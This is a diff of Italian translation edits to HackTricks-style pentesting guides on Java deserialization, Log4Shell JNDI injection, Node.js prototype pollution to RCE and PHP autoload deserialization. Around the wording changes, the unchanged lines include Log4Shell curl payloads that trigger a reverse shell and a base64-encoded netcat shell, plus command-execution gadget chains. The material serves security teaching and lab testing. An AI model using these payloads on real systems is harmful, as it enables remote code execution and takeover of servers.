-Per impostazione predefinita, **controlla passivamente** tutte le richieste e le risposte inviate **cercando** **byte magici serializzati Java** e presenterà un avviso di vulnerabilità se ne viene trovata una:
+Per impostazione predefinita, **controlla passivamente** tutte le richieste e le risposte inviate **cercando** i **byte magici serializzati Java** e presenterà un avviso di vulnerabilità se ne trova uno:
 
 ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../images/image (765).png>)
 

src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md

@@ -86,13 +86,13 @@ ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 ```
 Se leggi il codice, noterai che se in qualche modo concatenassi la trasformazione dell'array, saresti in grado di eseguire comandi arbitrari.
 
-Quindi, **come vengono concatenate quelle trasformazioni?**
+Quindi, **come sono concatenate quelle trasformazioni?**
 ```java
 Map map = new HashMap<>();
 Map lazyMap = LazyMap.decorate(map, chainedTransformer);
 lazyMap.get("anything");
 ```
-Nell'ultima sezione del payload puoi vedere che viene **creato un oggetto Map**. Poi, la funzione `decorate` viene eseguita da `LazyMap` con l'oggetto mappa e i trasformatori concatenati. Dal seguente codice puoi vedere che questo causerà la **copia dei trasformatori concatenati** all'interno dell'attributo `lazyMap.factory`:
+Nell'ultima sezione del payload puoi vedere che viene **creato un oggetto Map**. Poi, la funzione `decorate` viene eseguita da `LazyMap` con l'oggetto mappa e i trasformatori concatenati. Dal seguente codice puoi vedere che questo causerà la copia dei **trasformatori concatenati** all'interno dell'attributo `lazyMap.factory`:
 ```java
 protected LazyMap(Map map, Transformer factory) {
 super(map);
@@ -124,7 +124,7 @@ object = iTransformers[i].transform(object);
 return object;
 }
 ```
-Quindi, ricorda che all'interno di **factory** avevamo salvato **`chainedTransformer`** e all'interno della funzione **`transform`** stiamo **attraversando tutti quei transformer concatenati** ed eseguendo uno dopo l'altro. La cosa divertente è che **ogni transformer utilizza `object`** **come input** e **l'oggetto è l'output dell'ultimo transformer eseguito**. Pertanto, **tutti i trasformatori sono concatenati eseguendo il payload malevolo**.
+Quindi, ricorda che all'interno di **factory** avevamo salvato **`chainedTransformer`** e all'interno della funzione **`transform`** stavamo **attraversando tutti quei transformer concatenati** ed eseguendoli uno dopo l'altro. La cosa divertente è che **ogni transformer utilizza `object`** **come input** e **l'oggetto è l'output dell'ultimo transformer eseguito**. Pertanto, **tutte le trasformazioni sono concatenate eseguendo il payload malevolo**.
 
 ### Riepilogo
 
@@ -149,7 +149,7 @@ new Class[]{String.class},
 command
 ).transform(value); //(4)
 ```
-_Nota come `value` sia l'input di ogni trasformazione e l'output della trasformazione precedente, consentendo l'esecuzione di un one-liner:_
+_Nota come `value` sia l'input di ogni trasformazione e l'output della trasformazione precedente, consentendo l'esecuzione di una riga:_
 ```java
 ((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
 ```

src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md

@@ -4,7 +4,7 @@
 
 ## Informazioni di base
 
-JNDI, integrato in Java dalla fine degli anni '90, funge da servizio di directory, consentendo ai programmi Java di localizzare dati o oggetti attraverso un sistema di denominazione. Supporta vari servizi di directory tramite interfacce di fornitore di servizi (SPI), consentendo il recupero di dati da diversi sistemi, inclusi oggetti Java remoti. Le SPI comuni includono CORBA COS, Java RMI Registry e LDAP.
+JNDI, integrato in Java dalla fine degli anni '90, funge da servizio di directory, consentendo ai programmi Java di localizzare dati o oggetti attraverso un sistema di denominazione. Supporta vari servizi di directory tramite interfacce di provider di servizio (SPI), consentendo il recupero di dati da diversi sistemi, inclusi oggetti Java remoti. Le SPI comuni includono CORBA COS, Java RMI Registry e LDAP.
 
 ### Riferimento di denominazione JNDI
 
@@ -39,15 +39,15 @@ Anche se hai impostato un **`PROVIDER_URL`**, puoi indicarne uno diverso in una
 
 CORBA (Common Object Request Broker Architecture) utilizza un **Interoperable Object Reference (IOR)** per identificare univocamente gli oggetti remoti. Questo riferimento include informazioni essenziali come:
 
-- **Type ID**: Identificatore unico per un'interfaccia.
+- **Type ID**: Identificatore univoco per un'interfaccia.
 - **Codebase**: URL per ottenere la classe stub.
 
 È importante notare che CORBA non è intrinsecamente vulnerabile. Garantire la sicurezza comporta tipicamente:
 
 - Installazione di un **Security Manager**.
-- Configurazione del Security Manager per consentire connessioni a codebase potenzialmente dannose. Ciò può essere ottenuto tramite:
+- Configurazione del Security Manager per consentire connessioni a codebase potenzialmente malevole. Ciò può essere ottenuto tramite:
 - Permesso socket, ad es., `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
-- Permessi di lettura file, sia universali (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) sia per directory specifiche in cui potrebbero essere posizionati file dannosi.
+- Permessi di lettura file, sia universalmente (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) o per directory specifiche in cui potrebbero essere posizionati file malevoli.
 
 Tuttavia, alcune politiche dei fornitori potrebbero essere permissive e consentire queste connessioni per impostazione predefinita.
 
@@ -111,11 +111,11 @@ Questa vulnerabilità colpisce il **framework di logging Logback**, successore d
 
 ### **CVE-2021-45105** **\[Alto]**
 
-Log4j 2.16.0 contiene un difetto DoS, portando al rilascio di `log4j 2.17.0` per correggere la CVE. Maggiori dettagli sono nel [report](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/) di BleepingComputer.
+Log4j 2.16.0 contiene un difetto DoS, portando al rilascio di `log4j 2.17.0` per correggere la CVE. Maggiori dettagli sono nel [report di BleepingComputer](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
 
 ### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
 
-Colpisce la versione log4j 2.17, questa CVE richiede che l'attaccante controlli il file di configurazione di log4j. Comporta una potenziale esecuzione di codice arbitrario tramite un JDBCAppender configurato. Maggiori dettagli sono disponibili nel [post del blog di Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
+Colpisce la versione 2.17 di log4j, questa CVE richiede che l'attaccante controlli il file di configurazione di log4j. Comporta una potenziale esecuzione di codice arbitrario tramite un JDBCAppender configurato. Maggiori dettagli sono disponibili nel [post del blog di Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
 
 ## Sfruttamento di Log4Shell
 
@@ -242,9 +242,9 @@ ${jndi:ldap://<LDAP_IP>:1389/Exploit}
 ### RCE - **JNDIExploit**
 
 > [!NOTE]
-> Nota che per qualche motivo l'autore ha rimosso questo progetto da github dopo la scoperta di log4shell. Puoi trovare una versione cache in [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) ma se vuoi rispettare la decisione dell'autore usa un metodo diverso per sfruttare questa vulnerabilità.
+> Tieni presente che per qualche motivo l'autore ha rimosso questo progetto da github dopo la scoperta di log4shell. Puoi trovare una versione cache in [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) ma se vuoi rispettare la decisione dell'autore usa un metodo diverso per sfruttare questa vulnerabilità.
 >
-> Inoltre, non puoi trovare il codice sorgente nella wayback machine, quindi analizza il codice sorgente o esegui il jar sapendo che non sai cosa stai eseguendo.
+> Inoltre, non puoi trovare il codice sorgente nella wayback machine, quindi o analizza il codice sorgente, o esegui il jar sapendo che non sai cosa stai eseguendo.
 
 Per questo esempio puoi semplicemente eseguire questo **vulnerable web server to log4shell** sulla porta 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_nel README troverai come eseguirlo_). Questa app vulnerabile sta registrando con una versione vulnerabile di log4shell il contenuto dell'intestazione della richiesta HTTP _X-Api-Version_.
 
@@ -273,9 +273,9 @@ curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Comma
 curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
 curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
 ```
-Quando invii gli attacchi, vedrai alcuni output nel terminale in cui hai eseguito **JNDIExploit-1.2-SNAPSHOT.jar**.
+Quando invii gli attacchi, vedrai alcuni output nel terminale dove hai eseguito **JNDIExploit-1.2-SNAPSHOT.jar**.
 
-**Ricorda di controllare `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` per altre opzioni di sfruttamento. Inoltre, se ne hai bisogno, puoi cambiare la porta dei server LDAP e HTTP.**
+**Ricorda di controllare `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` per altre opzioni di sfruttamento. Inoltre, nel caso ne avessi bisogno, puoi cambiare la porta dei server LDAP e HTTP.**
 
 ### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
 
@@ -343,13 +343,13 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
 
 ## Post-Log4Shell Exploitation
 
-In questo [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) è ben spiegato come sia **potenzialmente possibile** **abusare** di alcune funzionalità di **Log4J**.
+In questo [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) è ben spiegato come sia potenzialmente **possibile** **abusare** di alcune funzionalità di **Log4J**.
 
 La [**pagina di sicurezza**](https://logging.apache.org/log4j/2.x/security.html) di Log4j contiene alcune frasi interessanti:
 
 > A partire dalla versione 2.16.0 (per Java 8), la **funzionalità di ricerca dei messaggi è stata completamente rimossa**. **Le ricerche nella configurazione funzionano ancora**. Inoltre, Log4j ora disabilita l'accesso a JNDI per impostazione predefinita. Le ricerche JNDI nella configurazione devono ora essere abilitate esplicitamente.
 
-> A partire dalla versione 2.17.0 (e 2.12.3 e 2.3.1 per Java 7 e Java 6), **solo le stringhe di ricerca nella configurazione vengono espanse ricorsivamente**; in qualsiasi altro utilizzo, solo la ricerca di primo livello viene risolta, e le ricerche annidate non vengono risolte.
+> A partire dalla versione 2.17.0, (e 2.12.3 e 2.3.1 per Java 7 e Java 6), **solo le stringhe di ricerca nella configurazione vengono espanse ricorsivamente**; in qualsiasi altro utilizzo, solo la ricerca di primo livello viene risolta, e le ricerche annidate non vengono risolte.
 
 Questo significa che per impostazione predefinita puoi **dimenticare di utilizzare qualsiasi exploit `jndi`**. Inoltre, per eseguire **ricerche ricorsive** è necessario configurarle.
 
@@ -397,7 +397,7 @@ Abusando di questo comportamento potresti far sostituire **attivando un'eccezion
 Come menzionato nella sezione precedente, **`%replace`** supporta **regexes**. Quindi è possibile utilizzare un payload dalla [**pagina ReDoS**](../regular-expression-denial-of-service-redos.md) per causare un **timeout** nel caso in cui il flag venga trovato.\
 Ad esempio, un payload come `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` attiverebbe un **timeout** in quel CTF.
 
-In questo [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), invece di utilizzare un attacco ReDoS, è stato utilizzato un **attacco di amplificazione** per causare una differenza di tempo nella risposta:
+In questo [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), invece di utilizzare un attacco ReDoS, ha utilizzato un **attacco di amplificazione** per causare una differenza di tempo nella risposta:
 
 > ```
 > /%replace{
@@ -414,6 +414,7 @@ In questo [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022
 > }{#}{######################################################}
 > }{#}{######################################################}
 > }{#}{######################################################}
+> }{#}{######################################################}
 > ```
 >
 > Se il flag inizia con `flagGuess`, l'intero flag viene sostituito con 29 `#`-s (ho usato questo carattere perché probabilmente non farebbe parte del flag). **Ognuno dei 29 `#`-s risultanti viene poi sostituito da 54 `#`-s**. Questo processo viene ripetuto **6 volte**, portando a un totale di ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**

src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md

@@ -1,4 +1,4 @@
-# NodeJS - \_\_proto\_\_ & inquinamento del prototipo
+# NodeJS - \_\_proto\_\_ e inquinamento del prototipo
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -213,7 +213,7 @@ client-side-prototype-pollution.md
 
 ### CVE-2019–11358: Attacco di inquinamento del prototipo tramite jQuery $ .extend
 
-[Per ulteriori dettagli controlla questo articolo](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) In jQuery, la funzione `$ .extend` può portare a inquinamento del prototipo se la funzione di copia profonda viene utilizzata in modo improprio. Questa funzione è comunemente usata per clonare oggetti o unire proprietà da un oggetto predefinito. Tuttavia, quando è configurata in modo errato, le proprietà destinate a un nuovo oggetto possono essere assegnate al prototipo invece. Ad esempio:
+[Per ulteriori dettagli controlla questo articolo](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) In jQuery, la funzione `$ .extend` può portare a inquinamento del prototipo se la funzionalità di copia profonda viene utilizzata in modo improprio. Questa funzione è comunemente usata per clonare oggetti o unire proprietà da un oggetto predefinito. Tuttavia, quando è configurata in modo errato, le proprietà destinate a un nuovo oggetto possono essere assegnate al prototipo invece. Ad esempio:
 ```javascript
 $.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
 console.log({}.devMode) // Outputs: true
@@ -241,7 +241,7 @@ NodeJS utilizza ampiamente gli Abstract Syntax Trees (AST) in JavaScript per fun
 
 #### Analisi della vulnerabilità di Handlebars
 
-Il motore di template Handlebars è suscettibile a un attacco di inquinamento del prototipo. Questa vulnerabilità deriva da specifiche funzioni all'interno del file `javascript-compiler.js`. La funzione `appendContent`, ad esempio, concatena `pendingContent` se è presente, mentre la funzione `pushSource` reimposta `pendingContent` a `undefined` dopo aver aggiunto la sorgente.
+Il motore di template Handlebars è suscettibile a un attacco di inquinamento del prototipo. Questa vulnerabilità deriva da specifiche funzioni all'interno del file `javascript-compiler.js`. La funzione `appendContent`, ad esempio, concatena `pendingContent` se è presente, mentre la funzione `pushSource` reimposta `pendingContent` su `undefined` dopo aver aggiunto la sorgente.
 
 **Processo di sfruttamento**
 
@@ -249,7 +249,7 @@ Lo sfruttamento si basa sull'AST (Abstract Syntax Tree) prodotto da Handlebars,
 
 1. **Manipolazione del Parser**: Inizialmente, il parser, tramite il nodo `NumberLiteral`, impone che i valori siano numerici. L'inquinamento del prototipo può eludere questo, consentendo l'inserimento di stringhe non numeriche.
 2. **Gestione da parte del Compilatore**: Il compilatore può elaborare un oggetto AST o un template string. Se `input.type` è uguale a `Program`, l'input viene trattato come pre-parsato, il che può essere sfruttato.
-3. **Iniezione di Codice**: Attraverso la manipolazione di `Object.prototype`, è possibile iniettare codice arbitrario nella funzione template, il che può portare all'esecuzione di codice remoto.
+3. **Iniezione di Codice**: Attraverso la manipolazione di `Object.prototype`, è possibile iniettare codice arbitrario nella funzione template, il che può portare all'esecuzione remota di codice.
 
 Un esempio che dimostra lo sfruttamento della vulnerabilità di Handlebars:
 ```javascript
@@ -343,7 +343,7 @@ Per ridurre il rischio di inquinamento del prototipo, possono essere impiegate l
 5. **Uso di Map**: Invece di `Object`, dovrebbe essere utilizzato `Map` per memorizzare coppie chiave-valore.
 6. **Aggiornamenti delle Librerie**: Le patch di sicurezza possono essere incorporate aggiornando regolarmente le librerie.
 7. **Strumenti di Linter e Analisi Statica**: Utilizzare strumenti come ESLint con plugin appropriati per rilevare e prevenire vulnerabilità di inquinamento del prototipo.
-8. **Revisioni del Codice**: Implementare revisioni del codice approfondite per identificare e rimediare ai potenziali rischi legati all'inquinamento del prototipo.
+8. **Revisioni del Codice**: Implementare revisioni del codice approfondite per identificare e risolvere potenziali rischi legati all'inquinamento del prototipo.
 9. **Formazione sulla Sicurezza**: Educare gli sviluppatori sui rischi dell'inquinamento del prototipo e sulle migliori pratiche per scrivere codice sicuro.
 10. **Uso Cauto delle Librerie**: Essere cauti nell'uso di librerie di terze parti. Valutare la loro postura di sicurezza e rivedere il loro codice, specialmente quelle che manipolano oggetti.
 11. **Protezione a Runtime**: Impiegare meccanismi di protezione a runtime come l'uso di pacchetti npm focalizzati sulla sicurezza che possono rilevare e prevenire attacchi di inquinamento del prototipo.

src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md

@@ -26,7 +26,7 @@ Una volta identificata una vulnerabilità di prototype pollution da uno degli st
 Per codebase più grandi e complesse, un metodo semplice per scoprire il codice vulnerabile prevede i seguenti passaggi:
 
 1. Usa uno strumento per identificare una vulnerabilità e ottenere un payload progettato per impostare una proprietà nel costruttore. Un esempio fornito da ppmap potrebbe apparire così: `constructor[prototype][ppmap]=reserved`.
-2. Imposta un punto di interruzione sulla prima riga di codice JavaScript che verrà eseguita sulla pagina. Aggiorna la pagina con il payload, mettendo in pausa l'esecuzione a questo punto di interruzione.
+2. Imposta un breakpoint sulla prima riga di codice JavaScript che verrà eseguita sulla pagina. Aggiorna la pagina con il payload, mettendo in pausa l'esecuzione a questo breakpoint.
 3. Mentre l'esecuzione di JavaScript è in pausa, esegui il seguente script nella console JS. Questo script segnalerà quando la proprietà 'ppmap' viene creata, aiutando a localizzarne l'origine:
 ```javascript
 function debugAccess(obj, prop, debugGet = true) {
@@ -46,7 +46,7 @@ origValue = val
 
 debugAccess(Object.prototype, "ppmap")
 ```
-4. Torna alla scheda **Sources** e seleziona "Resume script execution". Il JavaScript continuerà a essere eseguito e la proprietà 'ppmap' sarà inquinata come previsto. Utilizzando il frammento fornito, è possibile identificare il luogo esatto in cui la proprietà 'ppmap' è inquinata. Esaminando lo **Call Stack**, è possibile osservare diversi stack in cui si è verificato l'inquinamento.
+4. Torna alla scheda **Sources** e seleziona “Resume script execution”. Il JavaScript continuerà a essere eseguito e la proprietà 'ppmap' sarà inquinata come previsto. Utilizzando il frammento fornito, è possibile identificare il luogo esatto in cui la proprietà 'ppmap' è inquinata. Esaminando lo **Call Stack**, è possibile osservare diversi stack in cui si è verificato l'inquinamento.
 
 Quando si decide quale stack investigare, è spesso utile mirare agli stack associati ai file delle librerie JavaScript, poiché l'inquinamento del prototipo si verifica frequentemente all'interno di queste librerie. Identifica lo stack pertinente esaminando il suo attacco ai file delle librerie (visibile sul lato destro, simile a un'immagine fornita come guida). In scenari con più stack, come quelli alle righe 4 e 6, la scelta logica è lo stack alla riga 4, poiché rappresenta la prima occorrenza di inquinamento e quindi la causa principale della vulnerabilità. Cliccando sullo stack verrai indirizzato al codice vulnerabile.
 
@@ -56,7 +56,7 @@ Quando si decide quale stack investigare, è spesso utile mirare agli stack asso
 
 Il gadget è il **codice che sarà abusato una volta scoperta una vulnerabilità PP**.
 
-Se l'applicazione è semplice, possiamo **cercare** parole chiave come **`srcdoc/innerHTML/iframe/createElement`** e rivedere il codice sorgente per verificare se **porta all'esecuzione di javascript**. A volte, le tecniche menzionate potrebbero non trovare affatto gadget. In tal caso, una revisione pura del codice sorgente rivela alcuni buoni gadget come l'esempio qui sotto.
+Se l'applicazione è semplice, possiamo **cercare** parole chiave come **`srcdoc/innerHTML/iframe/createElement`** e rivedere il codice sorgente e controllare se **porta all'esecuzione di javascript**. A volte, le tecniche menzionate potrebbero non trovare affatto gadget. In tal caso, una revisione pura del codice sorgente rivela alcuni bei gadget come l'esempio qui sotto.
 
 ### Esempio di Trovare gadget PP nel codice della libreria Mithil
 

src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md

@@ -41,7 +41,7 @@ var proc = fork("a_file.js")
 
 **PP2RCE** significa **Prototype Pollution to RCE** (Esecuzione Remota di Codice).
 
-Secondo questo [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), quando un **processo viene avviato** con qualche metodo da **`child_process`** (come `fork` o `spawn` o altri), chiama il metodo `normalizeSpawnArguments`, che è un **gadget di inquinamento del prototipo per creare nuove variabili d'ambiente**:
+Secondo questo [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), quando un **processo viene avviato** con qualche metodo da **`child_process`** (come `fork` o `spawn` o altri) chiama il metodo `normalizeSpawnArguments` che è un **gadget di inquinamento del prototipo per creare nuove variabili d'ambiente**:
 ```javascript
 //See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
 
@@ -228,7 +228,7 @@ var proc = execFile("/usr/bin/node")
 // Windows - not working
 ```
 Per **`execFile`** per funzionare **DEVE eseguire node** affinché i NODE_OPTIONS funzionino.\
-Se **non** sta eseguendo **node**, devi trovare come **modificare l'esecuzione** di ciò che sta eseguendo **con variabili d'ambiente** e impostarle.
+Se **non** sta eseguendo **node**, devi trovare come **modificare l'esecuzione** di ciò che sta eseguendo **con le variabili d'ambiente** e impostarle.
 
 Le **altre** tecniche **funzionano** senza questo requisito perché è **possibile modificare** **ciò che viene eseguito** tramite la contaminazione del prototipo. (In questo caso, anche se puoi inquinare `.shell`, non inquinerai ciò che viene eseguito).
 
@@ -369,7 +369,7 @@ var proc = execSync("something")
 
 <details>
 
-<summary><strong><code>execSync</code> sfruttamento</strong></summary>
+<summary><strong>esploitazione di <code>execSync</code></strong></summary>
 ```javascript
 // environ trick - working with small variation (shell and argv0)
 // Working after kEmptyObject (fix)
@@ -463,11 +463,11 @@ var proc = spawnSync("something")
 
 ## Forzare Spawn
 
-Negli esempi precedenti hai visto come attivare il gadget, una funzionalità che **chiama `spawn`** deve essere **presente** (tutti i metodi di **`child_process`** utilizzati per eseguire qualcosa lo chiamano). Nell'esempio precedente era **parte del codice**, ma cosa succede se il codice **non** lo chiama.
+Negli esempi precedenti hai visto come attivare il gadget, una funzionalità che **chiama `spawn`** deve essere **presente** (tutti i metodi di **`child_process`** utilizzati per eseguire qualcosa lo chiamano). Nell'esempio precedente, questo era **parte del codice**, ma cosa succede se il codice **non** lo chiama.
 
 ### Controllare un percorso di file require
 
-In questo [**altro writeup**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) l'utente può controllare il percorso del file dove un **`require`** verrà eseguito. In quel scenario, l'attaccante deve semplicemente **trovare un file `.js` all'interno del sistema** che **eseguirà un metodo spawn quando importato.**\
+In questo [**altro articolo**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) l'utente può controllare il percorso del file dove un **`require`** verrà eseguito. In quel scenario, l'attaccante deve semplicemente **trovare un file `.js` all'interno del sistema** che **eseguirà un metodo spawn quando importato.**\
 Alcuni esempi di file comuni che chiamano una funzione spawn quando importati sono:
 
 - /path/to/npm/scripts/changelog.js
@@ -502,11 +502,11 @@ done
 > [!WARNING]
 > La **tecnica precedente richiede** che l'**utente controlli il percorso del file** che deve essere **richiesto**. Ma questo non è sempre vero.
 
-Tuttavia, se il codice eseguirà un require dopo l'inquinamento del prototipo, anche se **non controlli il percorso** che deve essere richiesto, puoi **forzare un percorso diverso abusando dell'inquinamento del prototipo**. Quindi, anche se la riga di codice è come `require("./a_file.js")` o `require("bytes")`, **richiederà il pacchetto che hai inquinato**.
+Tuttavia, se il codice eseguirà un require dopo l'inquinamento del prototipo, anche se **non controlli il percorso** che verrà richiesto, puoi **forzare un percorso diverso abusando dell'inquinamento del prototipo**. Quindi, anche se la riga di codice è come `require("./a_file.js")` o `require("bytes")`, **richiederà il pacchetto che hai inquinato**.
 
 Pertanto, se un require viene eseguito dopo il tuo inquinamento del prototipo e non c'è una funzione di spawn, questo è l'attacco:
 
-- Trova un **file `.js` all'interno del sistema** che quando **richiesto** **eseguirà qualcosa usando `child_process`**
+- Trova un **file `.js` all'interno del sistema** che quando **richiesto** eseguirà **qualcosa usando `child_process`**
 - Se puoi caricare file sulla piattaforma che stai attaccando, potresti caricare un file del genere
 - Inquina i percorsi per **forzare il caricamento del require del file `.js`** che eseguirà qualcosa con child_process
 - **Inquina l'environ/cmdline** per eseguire codice arbitrario quando viene chiamata una funzione di esecuzione child_process (vedi le tecniche iniziali)
@@ -658,26 +658,26 @@ NODE_OPTIONS: "--require=/proc/self/environ",
 
 require("./usage.js")
 ```
-## VM Gadgets
+## Gadget VM
 
 Nel documento [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) è anche indicato che il controllo di **`contextExtensions`** da alcuni metodi della libreria **`vm`** potrebbe essere utilizzato come gadget.\
-Tuttavia, come i precedenti metodi **`child_process`**, è stato **risolto** nelle ultime versioni.
+Tuttavia, come i precedenti metodi di **`child_process`**, è stato **risolto** nelle ultime versioni.
 
-## Fixes & Unexpected protections
+## Correzioni e protezioni inaspettate
 
 Si prega di notare che la contaminazione del prototipo funziona se l'**attributo** di un oggetto a cui si accede è **undefined**. Se nel **codice** quell'**attributo** è **impostato** a un **valore**, non **sarai in grado di sovrascriverlo**.
 
-Nel giugno 2022 da [**questo commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) la var `options` invece di un `{}` è un **`kEmptyObject`**. Questo **previene una contaminazione del prototipo** che influisce sugli **attributi** di **`options`** per ottenere RCE.\
+Nel giugno 2022, da [**questo commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a), la var `options` invece di un `{}` è un **`kEmptyObject`**. Questo **previene una contaminazione del prototipo** che influisce sugli **attributi** di **`options`** per ottenere RCE.\
-Almeno dalla v18.4.0 questa protezione è stata **implementata**, e quindi gli **exploit** `spawn` e `spawnSync` che influenzano i metodi **non funzionano più** (se non vengono utilizzati `options`!).
+Almeno dalla v18.4.0 questa protezione è stata **implementata**, e quindi gli **exploit** di `spawn` e `spawnSync` che influenzano i metodi **non funzionano più** (se non vengono utilizzati `options`!).
 
 In [**questo commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) la **contaminazione del prototipo** di **`contextExtensions`** dalla libreria vm è stata **anche in parte risolta** impostando le opzioni a **`kEmptyObject`** invece di **`{}`.**
 
-### **Other Gadgets**
+### **Altri Gadget**
 
 - [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution)
 - [https://github.com/KTH-LangSec/server-side-prototype-pollution](https://github.com/KTH-LangSec/server-side-prototype-pollution)
 
-## References
+## Riferimenti
 
 - [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
 - [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/)

src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md

@@ -36,13 +36,13 @@ require __DIR__ . $filename;
 });
 ```
 > [!TIP]
-> Se hai un **file upload** e puoi caricare un file con **estensione `.php`**, potresti **sfruttare direttamente questa funzionalità** e ottenere già RCE.
+> Se hai un **file upload** e puoi caricare un file con estensione **`.php`** potresti **abusare di questa funzionalità direttamente** e ottenere già RCE.
 
-Nel mio caso, non avevo nulla di simile, ma c'era all'interno del **stesso container** un'altra pagina web di composer con una **libreria vulnerabile a un gadget `phpggc`**.
+Nel mio caso, non avevo nulla di simile, ma c'era all'interno dello **stesso container** un'altra pagina web di composer con una **libreria vulnerabile a un gadget `phpggc`**.
 
-- Per caricare questa altra libreria, prima devi **caricare il loader di composer di quell'altra web app** (perché quello dell'applicazione attuale non accederà alle librerie dell'altra). **Conoscendo il percorso dell'applicazione**, puoi ottenere questo molto facilmente con: **`O:28:"www_frontend_vendor_autoload":0:{}`** (Nel mio caso, il loader di composer si trovava in `/www/frontend/vendor/autoload.php`)
+- Per caricare questa altra libreria, prima devi **caricare il loader di composer di quell'altra web app** (perché quello dell'applicazione corrente non accederà alle librerie dell'altra). **Conoscendo il percorso dell'applicazione**, puoi ottenere questo molto facilmente con: **`O:28:"www_frontend_vendor_autoload":0:{}`** (Nel mio caso, il loader di composer si trovava in `/www/frontend/vendor/autoload.php`)
-- Ora puoi **caricare** il **loader di composer dell'altra app**, quindi è tempo di **`generare il payload phpgcc`** da utilizzare. Nel mio caso, ho usato **`Guzzle/FW1`**, che mi ha permesso di **scrivere qualsiasi file all'interno del filesystem**.
+- Ora, puoi **caricare** il **loader di composer dell'altra app**, quindi è tempo di **`generare il payload phpgcc`** da utilizzare. Nel mio caso, ho usato **`Guzzle/FW1`**, che mi ha permesso di **scrivere qualsiasi file all'interno del filesystem**.
-- NOTA: Il **gadget generato non funzionava**, affinché funzionasse ho **modificato** quel payload **`chain.php`** di phpggc e impostato **tutti gli attributi** delle classi **da privati a pubblici**. Altrimenti, dopo aver deserializzato la stringa, gli attributi degli oggetti creati non avevano valori.
+- NOTA: Il **gadget generato non funzionava**, affinché funzionasse ho **modificato** quel payload **`chain.php`** di phpggc e impostato **tutti gli attributi** delle classi **da privati a pubblici**. Altrimenti, dopo la deserializzazione della stringa, gli attributi degli oggetti creati non avevano valori.
 - Ora abbiamo il modo di **caricare il loader di composer dell'altra app** e avere un **payload phpgcc che funziona**, ma dobbiamo **fare questo nella STESSA RICHIESTA affinché il loader venga caricato quando il gadget viene utilizzato**. Per questo, ho inviato un array serializzato con entrambi gli oggetti come:
 - Puoi vedere **prima il loader che viene caricato e poi il payload**.
 ```php

